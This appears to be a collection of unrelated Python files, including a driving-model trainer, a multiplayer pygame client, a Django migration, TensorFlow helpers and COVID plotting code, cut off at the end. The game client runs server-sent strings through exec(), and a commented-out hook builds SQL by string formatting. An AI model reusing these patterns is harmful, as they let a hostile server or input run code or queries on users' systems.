CuspAndDCond(f1,Xa,ds): c = cuspCond(f1,Xa,ds) det2 = DCond(f1,Xa[:3]) return jnp.block([c,det2])
python
import random import pandas as pd import numpy as np import cv2 import sklearn import tensorflow as tf from PIL import Image from tqdm import tqdm from keras.backend.tensorflow_backend import set_session from keras.models import Sequential, Model, load_model from keras.layers import Flatten, Dense, Lambda, Dropout from keras.layers import Convolution2D, Cropping2D, MaxPooling2D from keras.callbacks import EarlyStopping # from keras.utils.vis_utils import plot_model from sklearn.model_selection import train_test_split # Hyperparameters EPHOCS=10 BATCH_SIZE = 128 STEERING_FACTOR = 1 STEERING_CORRECTION = -0.2 ACTIVATION = 'relu' # Preprocess MODEL_NAME = 'model.h5' GENERATE_AUGMENTED = True CROP_TOP = 70 CROP_BOTTOM = 25 CROP_LEFT = 5 CROP_RIGHT = 5 STEERING_MIN = 0.1 STEERING_FILTER_PERC = 0.2 # Extra CONTINUE_MODEL = False # Config data_paths = [ '../data/track1_lap1/', '../data/track1_lap2/', '../data/track1_lap3_r/', '../data/recovery/', '../data/corrections/', '../data/corrections/', # '../data/track1_lap_slow/', '../data/smooth/', # '../data/straight/', # '../data/straight/', # '../data/track2_lap1/', # '../data/track2_lap2/', # '../data/recovery_track2/', ] # Enable memory grow config = tf.ConfigProto() config.gpu_options.allow_growth = True # dynamically grow the memory used on the GPU config.log_device_placement = True # to log device placement (on which device the operation ran) sess = tf.Session(config=config) set_session(sess) # set this TensorFlow session as the default session for Keras # Generator def generator(samples, batch_size=32): num_samples = len(samples) while 1: # Loop forever so the generator never terminates random.shuffle(samples) for offset in range(0, num_samples, batch_size): batch_samples = samples[offset:offset+batch_size] images = [] angles = [] for batch_sample in batch_samples: # Load image center_image = Image.open(batch_sample[0]) center_image = center_image.convert('YCbCr') center_image = np.asarray(center_image) center_angle = float(batch_sample[3]) if GENERATE_AUGMENTED == True: # Get augmentation type from last column augmentation_type = batch_sample[7] # Flipped image if augmentation_type == 1: center_image = np.fliplr(center_image) * STEERING_FACTOR + STEERING_CORRECTION center_angle = float(-center_angle) images.append(center_image) angles.append(center_angle) # trim image to only see section with road X_train = np.array(images) y_train = np.array(angles) yield sklearn.utils.shuffle(X_train, y_train) # Load logs df_logs = pd.DataFrame() for i in range(len(data_paths)): images_path = data_paths[i] + 'IMG/' df = pd.read_csv(data_paths[i] + 'driving_log.csv', # nrows=64, header=None, names=['center_image', 'left_image', 'center_image', 'steering', 'throttle', 'break', 'speed'], dtype={'center_image':str, 'left_image':str, 'center_image':str, 'steering':float, 'throttle':float, 'break':float, 'speed':float }) df = df[(abs(df['steering']) > STEERING_MIN) | (random.random() > STEERING_FILTER_PERC) ] # Replace path with the correct df.iloc[:, 0] = df.iloc[:,0].apply(lambda p: images_path + p.split('/')[-1]) df.iloc[:, 1] = df.iloc[:,1].apply(lambda p: images_path + p.split('/')[-1]) df.iloc[:, 2] = df.iloc[:,2].apply(lambda p: images_path + p.split('/')[-1]) df_logs = df_logs.append(df) # Add augmented data if GENERATE_AUGMENTED == True: print("Add augmented rows...") # Create a copy for each augmentation df_flip_logs = df_logs.copy() # Add column augmentation 0 for original images df_logs['augmentation'] = 0 df_flip_logs['augmentation'] = 1 # Append all rows df_logs = df_logs.append(df_flip_logs) # Get numpy array logs = df_logs.values print() print() print("####### Configuration ######") print() print("Shape: ", logs.shape) print("Continue training: ", str(CONTINUE_MODEL)) print("Generate augmented: ", str(GENERATE_AUGMENTED)) print("Model name: ", str(MODEL_NAME)) print("Batch size: ", str(BATCH_SIZE)) print() print("####### Data ######") print() print("First row: ") print(logs[0]) print() input("Press Enter to start training...") # Split in train and validation sets train_samples, validation_samples = train_test_split(logs, test_size=0.2) # Create generator for train and validation sets train_generator = generator(train_samples, batch_size=BATCH_SIZE) validation_generator = generator(validation_samples, batch_size=BATCH_SIZE) def build_model(): # BUILD MODEL # model = Sequential() # Crop image model.add(Cropping2D(cropping=((CROP_TOP, CROP_BOTTOM), (CROP_LEFT,CROP_RIGHT)), input_shape=(160,320,3))) # Normalization range -0.5 <-> 0.5 model.add(Lambda(lambda x: x / 255. - 0.5)) model.add(Convolution2D(24,(5,5), strides=(2, 2), activation=ACTIVATION)) model.add(Dropout(0.3)) model.add(Convolution2D(36,(5,5), strides=(2, 2), activation=ACTIVATION)) model.add(Dropout(0.3)) model.add(Convolution2D(48,(5,5), strides=(2, 2), activation=ACTIVATION)) model.add(Dropout(0.3)) model.add(Convolution2D(64,(3,3), activation=ACTIVATION)) model.add(Dropout(0.3)) model.add(Convolution2D(64,(3,3), activation=ACTIVATION)) model.add(Flatten()) model.add(Dropout(0.2)) model.add(Dense(1100, activation=ACTIVATION)) model.add(Dropout(0.2)) model.add(Dense(100, activation=ACTIVATION)) model.add(Dropout(0.2)) model.add(Dense(50, activation=ACTIVATION)) model.add(Dropout(0.2)) model.add(Dense(10, activation=ACTIVATION)) model.add(Dropout(0.2)) model.add(Dense(1)) return model if(CONTINUE_MODEL == True): model = load_model(MODEL_NAME) else: model = build_model() # Compile model.compile(loss='mse', optimizer='adam', metrics=['accuracy']) early_stop = EarlyStopping(monitor='val_loss', min_delta=1.e-4, patience=2, mode='min') # Run training model.fit_generator(train_generator, steps_per_epoch=np.ceil(len(train_samples)/BATCH_SIZE), validation_data=validation_generator, validation_steps=np.ceil(len(validation_samples)/BATCH_SIZE), epochs=EPHOCS, verbose=1, callbacks=[early_stop]) model.save(MODEL_NAME)
python
#!/usr/bin/env python3 # -*- coding: Utf-8 -* # Author: [email protected] from model import * from view import * from keyboard import * from network import * import sys import pygame import socket import errno ### python version ### print("python version: {}.{}.{}".format(sys.version_info[0], sys.version_info[1], sys.version_info[2])) print("pygame version: ", pygame.version.ver) ################################################################################ # MAIN # ################################################################################ # parse arguments if (len(sys.argv) != 6 and len(sys.argv) != 5) : print("Usage: {} host port nickname".format(sys.argv[0])) sys.exit() host = sys.argv[1] port = int(sys.argv[2]) nickname = sys.argv[3] nbPlayer = int(sys.argv[4]) if (len(sys.argv)==5): skin = "dk" ### DK par défaut else : skin = sys.argv[5] connexion_avec_serveur = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connexion_avec_serveur.connect((host, port)) print("Connexion établie avec le serveur sur le port {}".format(port)) # initialization pygame.display.init() pygame.font.init() clock = pygame.time.Clock() ####### Envoie du pseudo au Serveur #####Récupération de la map via le serveur mon_fichier= open("maps/map", "w") msg_recu =connexion_avec_serveur.recv(2048) mon_fichier.write (msg_recu.decode()) connexion_avec_serveur.sendall(b"ACK") mon_fichier.close() model = Model() model.load_map("maps/map") msg_recu =connexion_avec_serveur.recv(2048) exec(msg_recu.decode()) #### Récupération de notre perso et celui de l'adversaire connexion_avec_serveur.send(str(nickname).encode()) #### Envoie du nickname pour l'adversaire ACK = connexion_avec_serveur.recv(1000) connexion_avec_serveur.send(str(skin).encode()) ### Envoie de son choix de skin au serveur ACK = connexion_avec_serveur.recv(1000) connexion_avec_serveur.send(str(nbPlayer).encode()) ### Envoie du nombre de joueur que l'on veut dans sa game ACK = connexion_avec_serveur.recv(1000) perso_recu =connexion_avec_serveur.recv(2048) exec("model.add_character(nickname," + perso_recu.decode()) connexion_avec_serveur.send("Perso 1 reçu".encode()) perso_recu =connexion_avec_serveur.recv(2048) exec(perso_recu.decode()) if (nbPlayer>2): ### Réception du perso Player 3 si il y en a un perso_recu =connexion_avec_serveur.recv(2048) exec(perso_recu.decode()) ## Lancement du visuel view = GraphicView(model, nickname) client = NetworkClientController(model, host, port, nickname, connexion_avec_serveur, nbPlayer) kb = KeyboardController(client) # main loop while True: # make sure game doesn't run at more than FPS frames per second dt = clock.tick(FPS) if not kb.tick(dt): break if not client.tick(dt): break model.tick(dt) view.tick(dt) # quit print("Game Over!") connexion_avec_serveur.close() pygame.quit()
python
# -*- coding: utf-8 -*- """Includes functions for copying the PyNX template files.""" import datetime import os from distutils.dir_util import copy_tree from nxstart.utils.files import get_full_path, replace_in_file def create_pynx_project(folder_path, name, author): """ Copies the files from templates/base to folder_path and modifies Makefile and source/main.cpp to include the project name, author name and current date. :param folder_path: Path to copy the files to :param name: Name of the project :param author: Name of the author """ template_folder = get_full_path(os.path.join("templates", "pynx")) copy_tree(template_folder, folder_path) main_cpp_file = os.path.join(folder_path, "main.py") main_cpp_replacements = { "APP_AUTHOR_PLACEHOLDER": author, "APP_NAME_PLACEHOLDER": name, "DATE_PLACEHOLDER": datetime.datetime.now().strftime("%Y-%m-%d"), } replace_in_file(main_cpp_file, main_cpp_replacements)
python
import pygame pygame.mixer.pre_init(frequency=44100, size=-16, channels=1, buffer=4096) directory = '' def play_sound(sound, time): sound = pygame.mixer.Sound(sound) if time == 0: sound.play() else: sound.play(maxtime = time) def stop_sound(sound): sound = pygame.mixer.Sound(sound) sound.stop() def hit_wall(): play_sound(directory + 'hitwall_sfx.wav', 0) def level_end(): play_sound(directory + 'levelend_sfx.wav', 0) def hit_switch(): play_sound(directory + 'switchstep_sfx.wav', 1000) def step_spike(): play_sound(directory + 'spikestep_sfx.wav', 0) def bg_music(): bgm = pygame.mixer.Sound('Pyweek_BG_1.wav') bgm.set_volume(0.3) bgm.play() def bg_music_stop(): bgm = pygame.mixer.Sound('Pyweek_BG_1.wav') bgm.stop()
python
"""Command-line interface for wamplius.""" import argparse import logging import logging.config log = logging.getLogger(__name__) def _setup_logging() -> None: logging.config.dictConfig({ "version": 1, "formatters": { "colored": { "()": "colorlog.ColoredFormatter", "format": "{log_color}{bold}{levelname:8}{reset} " "{thin_purple}{name}:{reset} " "{msg_log_color}{message}", "style": "{", "secondary_log_colors": { "msg": { "DEBUG": "white", "INFO": "blue", "WARNING": "yellow", "ERROR": "red", "CRITICAL": "bold_red", }, }, }, }, "handlers": { "console": { "class": "colorlog.StreamHandler", "formatter": "colored", }, }, "loggers": { "aiowamp": { "level": "DEBUG", }, "libwampli": { "level": "DEBUG", }, "wamplius": { "level": "DEBUG", }, }, "root": { "level": "INFO", "handlers": [ "console", ], }, }) def _setup_uvloop() -> None: try: import uvloop except ImportError: log.info("not using uvloop") else: log.info("using uvloop") uvloop.install() def get_parser() -> argparse.ArgumentParser: """Get the argument parser. The parser provides the config argument. """ parser = argparse.ArgumentParser() parser.add_argument("-c", "--config", default="config.toml", help="specify config file") return parser def run(args: argparse.Namespace) -> None: """Run the bot with the given arguments from `get_parser`.""" _setup_logging() _setup_uvloop() import wamplius config = wamplius.load_config(args.config) bot = wamplius.create_bot(config) log.info("starting bot") bot.run(config.discord_token) def main() -> None: """Main entry point. Parses the command-line arguments and runs the bot. """ parser = get_parser() args = parser.parse_args() run(args) if __name__ == "__main__": main()
python
import sys def input(): return sys.stdin.readline().rstrip() def isPrime(x): if x <= 1: return False for i in range(2, x): if i * i > x: break if x % i == 0: return False return True def gcd(a, b): while b: a, b = b, a % b return a def lcm(a, b): return a // gcd(a, b) * b N = int(input()) V = list(map(int, input().split())) V = [ _ for _ in V if isPrime(_) ] if len(V) == 0: print(-1) exit(0) ans = 1 for i in V: ans = lcm(ans, i) print(ans)
python
# Generated by Django 3.1.2 on 2022-01-29 07:42 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import uuid class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('catalogo', 'nnn0001_initial'), ] operations = [ migrations.CreateModel( name='Beneficio', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('nombre', models.CharField(help_text='Ingresa el beneficio (p. ej. 10%)', max_length=200)), ], ), migrations.CreateModel( name='Categoria', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('nombre', models.CharField(help_text='Ingresa la categoria(p. ej. Salud, Universidades)', max_length=200)), ], ), migrations.CreateModel( name='ProductoInstance', fields=[ ('id', models.UUIDField(default=uuid.uuid4, help_text='Unique ID for this particular Producto across whole library', primary_key=True, serialize=False)), ('imprint', models.CharField(max_length=200)), ('due_back', models.DateField(blank=True, null=True)), ('status', models.CharField(blank=True, choices=[('d', 'Maintenance'), ('o', 'On loan'), ('a', 'Available'), ('r', 'Reserved')], default='d', help_text='Producto availability', max_length=1)), ], options={ 'ordering': ['due_back'], 'permissions': (('can_mark_returned', 'Set Producto as returned'),), }, ), migrations.AlterModelOptions( name='empresa', options={'ordering': ['nombre', 'descripcion']}, ), migrations.AlterModelOptions( name='producto', options={'ordering': ['nombre', 'empresa']}, ), migrations.RemoveField( model_name='empresa', name='name', ), migrations.RemoveField( model_name='producto', name='Empresa', ), migrations.RemoveField( model_name='producto', name='imprint', ), migrations.RemoveField( model_name='producto', name='subject', ), migrations.RemoveField( model_name='producto', name='title', ), migrations.AddField( model_name='empresa', name='date_of_birth', field=models.DateField(blank=True, null=True), ), migrations.AddField( model_name='empresa', name='date_of_death', field=models.DateField(blank=True, null=True, verbose_name='died'), ), migrations.AddField( model_name='empresa', name='descripcion', field=models.CharField(default='d', max_length=100), preserve_default=False, ), migrations.AddField( model_name='empresa', name='nombre', field=models.CharField(default='n', max_length=100), preserve_default=False, ), migrations.AddField( model_name='producto', name='empresa', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='catalogo.empresa'), ), migrations.AddField( model_name='producto', name='nombre', field=models.CharField(default='n', max_length=100), preserve_default=False, ), migrations.AlterField( model_name='producto', name='isbn', field=models.CharField(help_text='13 Character <a href="https://www.isbn-international.org/content/what-isbn">ISBN number</a>', max_length=13, unique=True, verbose_name='ISBN'), ), migrations.AlterField( model_name='producto', name='notas', field=models.TextField(help_text='Ingresa notas acerca del categoria', max_length=1000), ), migrations.DeleteModel( name='Subject', ), migrations.AddField( model_name='productoinstance', name='Producto', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.RESTRICT, to='catalogo.producto'), ), migrations.AddField( model_name='productoinstance', name='borrower', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='producto', name='beneficio', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='catalogo.beneficio'), ), migrations.AddField( model_name='producto', name='categoria', field=models.ManyToManyField(help_text='Escoge un categoria de este servicio o producto', to='catalogo.Categoria'), ), ]
python
# -*- coding: utf-8 -*- from io_utils.read.geo_ts_readers.lprm.base_reader import LPRMTs from io_utils.read.path_config import PathConfig path_settings = {} class GeoSMAPLPRMv6Ts(LPRMTs): # Reader implementation that uses the PATH configuration from above # implememted subversion that have a set path configuration _ds_implemented = [] _t0 = 'SCANTIME_MJD' def __init__(self, dataset_or_path, force_path_group=None, **kwargs): if isinstance(dataset_or_path, list): dataset_or_path = tuple(dataset_or_path) self.dataset = dataset_or_path path_config = path_settings[self.dataset] if self.dataset in path_settings.keys() else None self.path_config = PathConfig(self.dataset, path_config) ts_path = self.path_config.load_path(force_path_group=force_path_group) super(GeoSMAPLPRMv6Ts, self).__init__(ts_path, **kwargs) # check if datasets in reader and in dict match assert sorted(list(path_settings.keys())) == sorted(GeoSMAPLPRMv6Ts._ds_implemented) if __name__ == '__main__': ds = GeoSMAPLPRMv6Ts(r"\\project10\data-read\USERS\wpreimes\LPRM\v61\SMAP_S3_VEGC\timeseries\d", exact_index=True, ioclass_kws={'read_bulk': True}) ts = ds.read(15,45)
python
import sys import os import json from enum import Enum from .mach_o import LC_SYMTAB from macholib import MachO from macholib import mach_o from shutil import copy2 from shutil import SameFileError class ReplaceType(Enum): objc_methname = 1 symbol_table = 2 def replace_in_bytes(method_bytes, name_dict, type): is_prefix = False empty_byte = b'\x00' if not method_bytes.startswith(empty_byte): is_prefix = True method_bytes = empty_byte + method_bytes for key, value in name_dict.items(): if len(key) != len(value): raise("replace method name with different length may break the mach-o file, ori: " + key + ", dst: " + value) if type == ReplaceType.objc_methname: method_bytes = method_bytes.replace( empty_byte + key.encode('utf-8') + empty_byte, empty_byte + value.encode('utf-8') + empty_byte) elif type == ReplaceType.symbol_table: method_bytes = method_bytes.replace( b' ' + key.encode('utf-8') + b']', b' ' + value.encode('utf-8') + b']') if is_prefix: method_bytes = method_bytes.replace(empty_byte, b'', 1) return method_bytes def ch_methname_sect(header, name_dict): commands = header.commands lc = None sect = None for _, command_tuple in enumerate(commands): seg = command_tuple[1] data = command_tuple[2] if hasattr(seg, 'segname') and seg.segname.rstrip(b'\x00') == b'__TEXT': for tmp_sect in data: if tmp_sect.sectname.rstrip(b'\x00') == b'__objc_methname': lc = command_tuple[0] sect = tmp_sect if sect is None: raise("Can't find __objc_methname section") sect.section_data = replace_in_bytes( sect.section_data, name_dict, ReplaceType.objc_methname) header.mod_dict[lc] = [sect] def ch_symtab(header, name_dict): commands = header.commands for idx, command_tuple in enumerate(commands): lc = command_tuple[0] cmd = command_tuple[1] data = command_tuple[2] if lc.cmd == LC_SYMTAB: data = replace_in_bytes(data, name_dict, ReplaceType.symbol_table) header.mod_dict[lc] = [data] commands[idx] = (lc, cmd, data) return raise("Can't find LC_SYMTAB") def replace_methname(macho_file, methname_json, output_dir): """ Map method names in Mach-O file with the JSON file """ if not os.path.isfile(macho_file): raise("passing not exist file " + macho_file) if not os.path.isfile(methname_json): raise("passing not exist file " + methname_json) if output_dir is not None and not os.path.isdir(output_dir): raise("passing not exist dir " + output_dir) macho = MachO.MachO(macho_file) name_dict = None with open(methname_json) as json_file: name_dict = json.load(json_file) for header in macho.headers: ch_methname_sect(header, name_dict) ch_symtab(header, name_dict) ori_dir, filename = os.path.split(macho_file) if output_dir is None: output_dir = ori_dir output = os.path.join(output_dir, filename) try: copy2(macho_file, output_dir) except SameFileError: pass with open(output, 'r+b') as fp: macho.write(fp) os.chmod(output, 0o755) def main(): replace_methname(sys.argv[0], sys.argv[1], sys.argv[2]) if __name__ == '__main__': main()
python
import dsp class PassThruProcessor(dsp.AudioProcessor): '''ToDo ''' def prepare(self, spec: dsp.ProcessorSpec) -> None: '''ToDo ''' def process(self, buffer): '''ToDo ''' return buffer def release(self) -> None: '''ToDo ''' effect = PassThruProcessor() param = dsp.AudioParameterBool('1', 'name', False) effect.add_parameter(parameter=param) state = effect.state print(f"state: {state['1']}, fx: {effect.parameters['1'].value}") effect.parameters['1'].value = True print(f"state: {state['1']}, fx: {effect.parameters['1'].value}") effect.state = state print(f"state: {state['1']}, fx: {effect.parameters['1'].value}")
python
from .pve import PVE, BrainT1PVE, MultichannelPVE, FuzzyCMean, MultichannelFuzzyCMean from .vem import VEM from .brain_segmentation import BrainT1Segmentation from .moment_matching import moment_matching from nipy.testing import Tester test = Tester().test bench = Tester().bench
python
from setuptools import setup, find_packages packages = find_packages() print(packages) setup( name = "testapp", version = "0.0.1", packages = packages, data_files=[('', ['__main__.py', ])] )
python
import argparse from textblob import TextBlob import smartbot.plugin from smartbot.formatting import Style class Plugin(smartbot.plugin.Plugin): """Perform a Google translation.""" names = ["translate"] parser = argparse.ArgumentParser(add_help=False) parser.add_argument("-from", "--from-language", default=None, nargs="?") parser.add_argument("-to", "--to-language", default="en", nargs="?") parser.add_argument("message", nargs="*") def on_command(self, msg, stdin, stdout): # pre-process args # this might mess up if "from" or "to" is left out and # the message contains "from" or "to" self._push_character(msg["args"], "from", "-", 1) self._push_character(msg["args"], "to", "-", 1) try: args = self.parser.parse_args(msg["args"][1:]) except (argparse.ArgumentError, SystemExit): return # get message from the appropriate place if args.message: message = " ".join(args.message) else: message = stdin.read().strip() # translate from_lang = args.from_language to_lang = args.to_language message = TextBlob(message) try: translated = message.translate(from_lang=from_lang, to=to_lang) except: pass else: print(translated, file=stdout) def on_help(self): return "{} [from {}] [to {}] [{}]".format( super().on_help(), self.bot.format("language", Style.underline), self.bot.format("language", Style.underline), self.bot.format("text", Style.underline) ) @staticmethod def _push_character(args, target, character, n): try: i = args.index(target) args[i] = (character * n) + args[i] except ValueError: pass
python
# import frappe # def on_validate(doc, method): # """ # validate user their should be only one department head # """ # print "validate in" # query = """ SELECT name FROM `tabUser` WHERE department='%s' AND # name IN (SELECT parent FROM `tabUserRole` WHERE role='Department Head')"""%(doc.department) # record = frappe.db.sql(query) # if record: # frappe.throw("Their can be only one Department Head for %s"%(department))
python
import tensorflow as tf import numpy as np import os from user_ops import ft_pool #os.environ['CUDA_VISIBLE_DEVICES'] = '' mnist = tf.keras.datasets.mnist (x_train, y_train),(x_test, y_test) = mnist.load_data() x_train, x_test = x_train / 255.0, x_test / 255.0 x_train = np.expand_dims(x_train, axis=3) x_test = np.expand_dims(x_test, axis=3) x_train = x_train.astype(np.float32) x_test = x_test.astype(np.float32) print(x_train.dtype) f = open('accuracy', 'w') iterations = 1 abc = 5.0 acc = [0,0] for iteration in range(0, iterations): print("... starting {}-th iteration - ft pooling ...".format(iteration)) input_ = tf.keras.layers.Input(shape=(28, 28, 1), name='input_layer') x = tf.keras.layers.Conv2D(2, (3,3), activation=tf.nn.relu, name='conv2D_1')(input_) x = tf.keras.layers.Lambda(lambda x: ft_pool(x, (1.4,1.4), abc), name='lambda')(x) x = tf.keras.layers.Conv2D(2, (3,3), activation=tf.nn.relu, name='conv2D_2')(x) x = tf.keras.layers.Flatten(name='flatten')(x) x = tf.keras.layers.Dense(10, activation=tf.nn.relu, name='dense_1')(x) x = tf.keras.layers.Dropout(0.2, name='dropout')(x) output_ = tf.keras.layers.Dense(10, activation=tf.nn.softmax, name='dense_2')(x) abc += 20.0 model = tf.keras.Model(inputs=input_, outputs=output_) model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy']) print(model.summary()) #model.train_on_batch(x_train[:4, ...], y_train[:4, ...]) hist = model.fit(x_train, y_train, epochs=2, batch_size=1) acc[0] += hist.history['acc'][0] acc[1] += hist.history['acc'][1] tf.keras.backend.clear_session() print('overall accuracy is {} for first epoch and {} for second epoch'.format( acc[0]/iterations, acc[1]/iterations), file=f, end='\n') acc = [0,0] for iteration in range(0, iterations): print("... starting {}-th iteration ...".format(iteration)) input_ = tf.keras.layers.Input(shape=(28, 28, 1)) x = tf.keras.layers.Conv2D(2, (3,3), activation=tf.nn.relu)(input_) #x = tf.keras.layers.Lambda(lambda x: tf.nn.avg_pool(x, (1,2,2,1), (1,2,2,1), # "VALID"))(x) x = tf.keras.layers.Conv2D(2, (5,5), strides=(2,2))(x) x = tf.keras.layers.Conv2D(2, (3,3), activation=tf.nn.relu)(x) x = tf.keras.layers.Flatten()(x) x = tf.keras.layers.Dense(10, activation=tf.nn.relu)(x) x = tf.keras.layers.Dropout(0.2)(x) output_ = tf.keras.layers.Dense(10, activation=tf.nn.softmax)(x) model = tf.keras.Model(inputs=input_, outputs=output_) model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy']) print(model.summary()) hist = model.fit(x_train, y_train, epochs=2) acc[0] += hist.history['acc'][0] acc[1] += hist.history['acc'][1] tf.keras.backend.clear_session() print('overall accuracy is {} for first epoch and {} for second epoch'.format( acc[0]/iterations, acc[1]/iterations), file=f, end='\n')
python
import tensorflow as tf from tensorflow.contrib.layers.python.layers import initializers from enum import Enum def dense_block(input_node, layers, name, activation=tf.nn.relu, batch_norm_phase=None, last_layer_activation=False, detailed_summary=False): with tf.variable_scope(name): output = input_node for i, layer in enumerate(layers): if i == len(layers) - 1 and not last_layer_activation: output = tf.layers.dense(output, layer) else: output = tf.layers.dense(output, layer, activation=activation) if batch_norm_phase is not None: output = tf.contrib.layers.batch_norm(output, center=True, scale=True, is_training=batch_norm_phase) if detailed_summary: with tf.name_scope("layer_%d_output" % (i + 1)): variable_summaries(output) return output def dense(cls, input_layer, shape, dtype=tf.float32, activation=tf.nn.relu, name="dense", detailed_summary=False): with tf.variable_scope(name): w = tf.get_variable("w", shape=shape, dtype=dtype, initializer=initializers.xavier_initializer()) b = tf.get_variable("b", shape=shape[1], dtype=dtype, initializer=tf.zeros_initializer()) out = tf.nn.bias_add(tf.matmul(input_layer, w), b) if detailed_summary: with tf.name_scope('w'): cls.variable_summaries(w) with tf.name_scope('b'): cls.variable_summaries(b) with tf.name_scope('output'): cls.variable_summaries(out) if activation is not None: return activation(out) else: return out def variable_summaries(var, name="summaries"): """Attach a lot of summaries to a Tensor (for TensorBoard visualization).""" with tf.name_scope(name): mean = tf.reduce_mean(var) tf.summary.scalar('mean', mean) with tf.name_scope('stddev'): stddev = tf.sqrt(tf.reduce_mean(tf.square(var - mean))) tf.summary.scalar('stddev', stddev) tf.summary.scalar('max', tf.reduce_max(var)) tf.summary.scalar('min', tf.reduce_min(var)) tf.summary.histogram('histogram', var) def huber_loss(x, delta=1.0): return tf.where( tf.abs(x) < delta, tf.square(x) * 0.5, delta * (tf.abs(x) - 0.5 * delta) ) def create_target_update_ops(model_name, target_model_name, update_rate): # inspired by: https://github.com/yukezhu/tensorflow-reinforce/blob/master/rl/neural_q_learner.py net_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=model_name) target_net_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=target_model_name) target_update = [] for v_source, v_target in zip(net_vars, target_net_vars): # this is equivalent to target = (1-alpha) * target + alpha * source update_op = v_target.assign_sub(update_rate * (v_target - v_source)) target_update.append(update_op) return tf.group(*target_update) class NeuralNetwork: class Type(Enum): MLP = 1 CNN_MLP = 2 def __init__(self, config, type): self.config = config self.type = type def build(self, input_dim, output_dim, name): with tf.variable_scope(name): if self.type == self.Type.MLP: input_layer = tf.placeholder(tf.float32, shape=(None, input_dim)) output_layer = dense_block(input_layer, [*self.config["hidden"], output_dim], "dense", batch_norm_phase=self.config["batch_norm"]) return input_layer, output_layer elif self.type == self.Type.CNN_MLP: input_layer = tf.placeholder(tf.float32, shape=(None, *input_dim)) output = input_layer if self.config["pool"] is None: iter = zip(self.config["conv"], [None] * len(self.config["conv"])) else: iter = zip(self.config["conv"], self.config["pool"]) for conv_config in iter: output = tf.layers.conv2d(output, conv_config[0]["num_maps"], conv_config[0]["filter_shape"], strides=conv_config[0]["stride"], padding="same", activation=tf.nn.relu) if conv_config[1] is not None: output = tf.layers.max_pooling2d(output, conv_config[1]["shape"], conv_config[1]["stride"]) output = tf.reshape(output, [-1, output.get_shape()[1].value * output.get_shape()[2].value * output.get_shape()[3].value]) output_layer = dense_block(output, [*self.config["hidden"], output_dim], "dense") return input_layer, output_layer
python
# -*- coding: utf-8 -*- import locale from os import chdir, path import matplotlib as mpl import matplotlib.pyplot as plt import pandas as pd from custom.plots import apply_plot_treatment, get_xticks_labels, palette from custom.preprocessing_dataframe import (compute_incidence, compute_incidence_std, get_df_complessivo) from custom.watermarks import add_last_updated, add_watermark colori_incidenza = [palette[i] for i in [4, 1, 5]] # Funzioni per il plot def which_axe(axis): """ Imposta proprietà grafico """ axis.set_xlabel("") axis.xaxis.reset_ticks() axis.set_xticks(x_ticks) axis.set_xticklabels(x_labels) axis.legend(["Non vaccinati", "Vaccinati 2/3 dosi", "Vaccinati 3 dosi"], loc="upper left") axis.grid() # Importa dati def load_data(): """ Importa dati dell'Istituto Superiore di Sanità ricavati dai bollettini settimanali. Vedi ad esempio: epicentro.iss.it/coronavirus/bollettino/ Bollettino-sorveglianza-integrata-COVID-19_15-settembre-2021.pdf""" df_epid, df_pop = get_df_complessivo() # Calcola tassi di infezione, ospedalizzazione e decessi # per vaccinati e non vaccinati # Ricava i tassi, dividendo per la popolazione vaccinati e non vaccinata df_tassi = compute_incidence(df_epid, df_pop) df_tassi.index = pd.to_datetime(df_epid["data"]) # Ricava i tassi standardizzati per fascia di età df_tassi_std = compute_incidence_std() # Calcola i numeri assoluti (medi, giornalieri) dell"epidemia df_epid = df_epid.copy(deep=True) df_epid["data"] = pd.to_datetime(df_epid["data"]) df_epid.set_index("data", drop=True, inplace=True) # Trasforma in numeri giornalieri df_epid = (1/30)*df_epid return df_tassi, df_tassi_std, df_epid # Rappresentazione grafica dei risultati @mpl.rc_context({"legend.handlelength": 1.0, "axes.prop_cycle": mpl.cycler(color=colori_incidenza)}) def plot_incidenza(show=False, is_std=False): """ Tassi di infezione, ricovero, decesso """ fig, ax = plt.subplots(nrows=2, ncols=2, figsize=(8.5, 8.5)) # Unpack all the axes subplots axes = ax.ravel() y_label = "Ogni 100.000 persone per ciascun gruppo" titoli = ["dei nuovi casi", "degli ospedalizzati", "dei ricoverati in TI", "dei deceduti"] eventi = [["Casi, non vaccinati", "Casi, vaccinati completo", "Casi, booster"], ["Ospedalizzati, non vaccinati", "Ospedalizzati, vaccinati completo", "Ospedalizzati, booster"], ["In terapia intensiva, non vaccinati", "In terapia intensiva, vaccinati completo", "In terapia intensiva, booster"], ["Deceduti, non vaccinati", "Deceduti, vaccinati completo", "Deceduti, booster"]] for i, evento in enumerate(eventi): (df_tassi_std[evento] if is_std else df_tassi[evento]).plot(ax=axes[i]) axes[i].set_title("Incidenza mensile " + titoli[i]) axes[i].set_ylabel(y_label) which_axe(axes[i]) # Add watermarks add_watermark(fig) add_last_updated(fig, axes[-1]) fig.tight_layout() f_suff = "_std" if is_std else "" fig.savefig(f"../risultati/andamento_epidemia{f_suff}.png", dpi=300, bbox_inches="tight") if show: plt.show() @mpl.rc_context({"legend.handlelength": 1.0, "axes.prop_cycle": mpl.cycler(color=colori_incidenza)}) def plot_num_assoluti(show=False): """ Andamento dei numeri assoluti """ fig, ax = plt.subplots(nrows=2, ncols=2, figsize=(8.5, 8.5)) # Unpack all the axes subplots axes = ax.ravel() titoli = ["Nuovi casi giornalieri", "Nuovi ospedalizzati giornalieri", "Nuovi ricoverati in TI", "Decessi giornalieri"] eventi = [["casi non vaccinati", "casi vaccinati completo", "casi booster"], ["ospedalizzati non vaccinati", "ospedalizzati vaccinati completo", "ospedalizzati booster"], ["terapia intensiva non vaccinati", "terapia intensiva vaccinati completo", "terapia intensiva 